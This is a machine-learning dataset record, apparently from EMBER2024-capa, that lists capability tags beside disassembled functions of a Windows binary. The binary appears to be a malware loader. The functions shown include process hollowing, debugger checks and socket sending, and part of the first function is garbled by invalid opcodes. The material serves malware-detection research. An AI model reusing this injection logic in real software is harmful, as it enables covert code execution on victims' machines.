joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp cs:[rsi]
jl case.0x14000727a.8
jl 0x14003f637
invalid
jle 0x14003f6b8
jle 0x14003f63b
invalid
jle 0x14003f6bc
jle 0x14003f63f
invalid
jle 0x14003f6c0
jle 0x14003f643
invalid
jle 0x14003f6c4
jle 0x14003f647
invalid
jle 0x14003f6c8
jle 0x14003f64b
invalid
jle 0x14003f6cc
jle 0x14003f64f
invalid
jle 0x14003f6d0
jle 0x14003f653
invalid
jle 0x14003f6d4
jle 0x14003f657
invalid
jle 0x14003f6d8
jle 0x14003f65b
invalid
jle 0x14003f6dc
jle 0x14003f65f
invalid
jle 0x14003f6e0
jle 0x14003f663
invalid
jle 0x14003f6e4
jle 0x14003f667
invalid
jle 0x14003f6e9
jle 0x14003f66b
inc dword [rcx - 0x6700848a]
jmp [esi - 0x4b00acf1]
invalid
xor dword [rsi + 0x7b], 0x674198ff
jmp [rsi - 0x4b00acf1]
invalid
mov ah, 2
push qword [r13 - 0x4900afff]
add dword [rax - 1], edx
mov bh, 1
push rax
invalid
mov eax, 0xb9ff5101
add dword [rdx - 1], edx
mov edx, 0xbaff5201
add dword [rdx - 1], edx
mov ebx, 0xbcff5301
add dword [rdi + rdi*8 - 0x43], edx
add dword [rdi + rdi*8 - 0x42], edx
add dword [rbp - 1], edx
push rbp
invalid
mov edi, 0xc0ff5601
add dword [rsi - 1], edx
push rbp
invalid
rol byte [rcx], 0x57
push rdi
inc edx
add dword [rdi - 1], edx
ret 0x5801
ret
vmulpd xmm15, xmm15, xmm7
invalid
mov byte [rcx], 0x5a
inc edi
add dword [rdx - 1], ebx
mov dword [rcx], 0x1c8ff5a
pop rbx
dec ecx
enter 0x5b01, 0xffffffffffffffff
leave
add dword [rdi + rdi*8 - 0x36], ebx
add dword [rdi + rdi*8 - 0x35], ebx
add dword [rbp - 1], ebx
retf 0x5c01
retf
retf
int 1
pop rsi
dec esi
add dword [rdi - 1], ebx
invalid
Function at 0x140007120
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140007138
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000715a
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x140007490
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x320], rax
movsxd rbx, dword [rdx + 0x3c]
mov r15, rdx
add rbx, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rbx + 0x50]
mov edx, dword [rbx + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140007631
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rcx, qword [r14]
mov rdx, rax
mov qword [rsp + 0x330], r13
xor r13d, r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140007654
mov qword [rsp + 0x380], rsi
mov qword [rsp + 0x338], rdi
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x140007570
mov esi, r13d
movzx eax, word [rbx + 0x14]
mov rcx, qword [r14]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r15
mov r9d, dword [rax + rbx + 0x28]
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000769a
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140007531
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call fcn.14002c930
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140007677
mov edx, dword [rsp + 0xf4]
lea r8, [rbx + 0x34]
mov rcx, qword [r14]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400076bd
mov ecx, dword [rbx + 0x28]
lea rdx, [rsp + 0x50]
add ecx, ebp
mov dword [rsp + 0x100], ecx
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1400076e0
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rdi, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x380]
mov r13, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140010750
add rsp, 0x340
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
lea rdx, str.Error_when_trying_to_allocate_memory_for_the_new_image
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
lea rdx, str.Error_when_trying_to_write_the_headers_of_the_new_image
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
lea rdx, str.Error_when_trying_to_get_the_thread_context
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
lea rdx, str.Error_when_trying_to_write_the_section
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
lea rdx, str.Error_when_trying_to_write_the_image_base_in_the_PEB
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
lea rdx, str.Error_when_trying_to_set_the_thread_context
lea rcx, [rsp + 0x30]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x30]
call fcn.1400127b8
int3
Function at 0x140009ef0
Capabilities:
Check for debugger via api

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x90
mov qword [rax - 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor edi, edi
mov dword [rsp + 0x20], edi
call fcn.14000d4f0
test al, al
je 0x14000a0a3
call fcn.14000d790
test al, al
je 0x14000a0a3
call fcn.140002520
test al, al
jne 0x14000a0a3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000a0a3
mov dword [rsp + 0x58], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x58], 1
je 0x14000a0a3
lea rbx, [0x140043d80]
lea rsi, [0x140043dd0]
nop dword [rax]
mov rax, qword [rbx]
call rax
test al, al
jne 0x14000a0a3
add rbx, 8
cmp rbx, rsi
jne 0x140009f90
mov rbx, qword [0x140045ef8]
mov rsi, qword [0x140045f00]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x58], rbx
cmp rbx, rsi
je 0x14000a0a3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14000df60
nop
mov rcx, qword [rsp + 0x60]
call fcn.1400081f0
lea r8, [rbx + 0x40]
lea rdx, str.exec
lea rcx, [rsp + 0x30]
call fcn.14000e900
or edi, 1
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000e2d0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000a052
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a04c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a0c8
call fcn.140010ac4
nop
jmp 0x14000a062
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000a09a
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a095
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a0ce
call fcn.140010ac4
add rbx, 0x60
jmp 0x140009fb9
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140010750
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140016a90
nop
call fcn.140016a90
int3
Function at 0x14000ad60
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x14000ad84
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x14000ae12
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ade0
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x14000ade0
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.14002c290
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000adfd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000ae05
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x14000ada1
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x14000aef0
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ae29
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000ae2b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000ae5d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.14002c290
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000aeed
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000ae98
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x14000aece
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.1400185e4
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14000aeed
cmp rsi, rax
ja 0x14000aea1
test rsi, rsi
je 0x14000aeed
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400185e4
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x14000e2d0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rsi, rdx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000e4a9
xor eax, eax
mov dword [rsp + 0x48], 1
cmp qword [rbx + 0x38], 0xf
lea rdx, [rbx + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x38], rax
xorps xmm1, xmm1
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x4c], 6
movdqu xmmword [rsp + 0x60], xmm1
jbe 0x14000e34e
mov rdx, qword [rdx]
cmp qword [rbx + 0x18], 0xf
jbe 0x14000e358
mov rbx, qword [rbx]
lea r9, [rsp + 0x38]
mov rcx, rbx
lea r8, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x14000e4cc
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x250], rdi
mov rdi, 0xffffffffffffffff
test rbx, rbx
je 0x14000e3e0
nop dword [rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000e4f5
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000e3db
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
je 0x14000e475
jmp 0x14000e390
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
je 0x14000e480
cmp qword [rsi + 0x18], 0xf
mov r8d, dword [rsi + 0x10]
jbe 0x14000e401
mov rsi, qword [rsi]
xor r9d, r9d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, 0xffffffff
je 0x14000e446
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [rsp + 0x250]
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140010750
add rsp, 0x220
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.send_failed
lea rcx, [rsp + 0x20]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.1400127b8
int3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Unable_to_connect_to_server
lea rcx, [rsp + 0x20]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.1400127b8
int3
lea rdx, str.WSAStartup_failed
lea rcx, [rsp + 0x20]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.1400127b8
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.getaddrinfo_failed
lea rcx, [rsp + 0x20]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.1400127b8
int3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Error_at_socket__
lea rcx, [rsp + 0x20]
call fcn.140006ff0
lea rdx, [0x140041298]
lea rcx, [rsp + 0x20]
call fcn.1400127b8
int3
Function at 0x14000ec28
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000ec62
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000ec67
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000ecb0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14002f700]
cmp byte [rcx + rax], 0
je 0x14000ecb0
dec r8
sub rdx, 1
jne 0x14000ec96
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140011188
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400111d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400111d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400111d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400111d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400111d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400111d4
xor al, al
add rsp, 0x28
ret

Function at 0x1400176b8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400176ef
call fcn.140019928
mov dword [rax], socket
call fcn.140016a70
xor eax, eax
jmp 0x14001777d
mov rdx, r9
mov rcx, r8
call fcn.140017654
mov rbx, rax
test rax, rax
je 0x14001777a
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140017580]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140017767
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001989c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14001774e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14001775d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14001e35c
jmp 0x14001777a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140017777
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14001aab8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001ab27
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ab27
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ab27
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ab27
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ab27
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ab27
cmp dword [rcx + 0xf8], 0
je 0x14001ab27
mov ecx, ebx
call fcn.14001abd8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001a9b4
nop
cmp dword [rbp + 0x20], 0
je 0x14001ab75
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001ab80
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001aab8

Function at 0x14001acbc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001aab8

Function at 0x14001e698
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001e6ae
mov al, 1
jmp 0x14001e70e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001e6bf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001e70c
mov ecx, dword [rcx + 0x18]
nop
call fcn.140025dd8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001e70c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001e70c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001e70c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001e70e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140020f24
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140010c10
sub rsp, rax
mov rax, qword [0x140043100]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001e578
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140020f73
mov rax, rbp
jmp 0x14002107b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x45700]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140021e70
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x45700]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140021077
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021077
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140021e70
test rax, rax
js 0x140021077
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140021077
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140021069
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140021069
cmp byte [rcx], 0xd
jne 0x14002104f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002105e
cmp byte [rcx + 1], 0xa
jne 0x14002105e
inc rcx
jmp 0x14002105e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x43560]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140021031
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002107b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140010750
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140021210
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140045700]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140021267
cmp word [rdx], r13w
jne 0x140021267
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14002126c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140021391
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400213b2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400212a5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400212cc
cmp r9, r8
jae 0x1400212dc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140021286
jmp 0x140021391
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021386
cmp dword [rsp + 0x80], esi
je 0x140021386
lea r8, [0x140045700]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002135e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002132e
mov word [rbx], r13w
jmp 0x14002138e
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14002133b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002138e
cmp word [rsp + 0x70], r13w
jne 0x14002136b
cmp rbx, r14
je 0x140021328
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140021e78
cmp word [rsp + 0x70], r13w
je 0x140021391
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140045700]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002138b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140021391